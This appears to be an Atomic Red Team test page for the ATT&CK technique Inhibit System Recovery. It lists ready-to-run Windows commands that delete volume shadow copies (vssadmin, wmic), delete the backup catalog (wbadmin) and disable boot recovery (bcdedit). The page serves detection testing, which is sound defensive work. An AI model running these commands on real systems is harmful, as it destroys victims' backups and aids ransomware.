89 lines
3.6 KiB
Markdown
89 lines
3.6 KiB
Markdown
# T1490 - Inhibit System Recovery
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## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1490)
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<blockquote>Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
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A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
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* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
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* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
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* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
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* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code></blockquote>
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## Atomic Tests
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- [Atomic Test #1 - Windows - Delete Volume Shadow Copies](#atomic-test-1---windows---delete-volume-shadow-copies)
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- [Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI](#atomic-test-2---windows---delete-volume-shadow-copies-via-wmi)
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- [Atomic Test #3 - Windows - Delete Windows Backup Catalog](#atomic-test-3---windows---delete-windows-backup-catalog)
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- [Atomic Test #4 - Windows - Disable Windows Recovery Console Repair](#atomic-test-4---windows---disable-windows-recovery-console-repair)
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<br/>
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## Atomic Test #1 - Windows - Delete Volume Shadow Copies
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Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
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**Supported Platforms:** Windows
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#### Run it with `command_prompt`! Elevation Required (e.g. root or admin)
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```
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vssadmin.exe delete shadows /all /quiet
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```
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<br/>
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<br/>
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## Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI
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Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
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**Supported Platforms:** Windows
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#### Run it with `command_prompt`! Elevation Required (e.g. root or admin)
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```
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wmic.exe shadowcopy delete
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```
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<br/>
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<br/>
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## Atomic Test #3 - Windows - Delete Windows Backup Catalog
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Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
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**Supported Platforms:** Windows
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#### Run it with `command_prompt`! Elevation Required (e.g. root or admin)
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```
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wbadmin.exe delete catalog -quiet
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```
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<br/>
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<br/>
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## Atomic Test #4 - Windows - Disable Windows Recovery Console Repair
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Disables repair by the Windows Recovery Console on boot.
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This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
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**Supported Platforms:** Windows
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#### Run it with `command_prompt`! Elevation Required (e.g. root or admin)
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```
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bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
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bcdedit.exe /set {default} recoveryenabled no
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```
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<br/>
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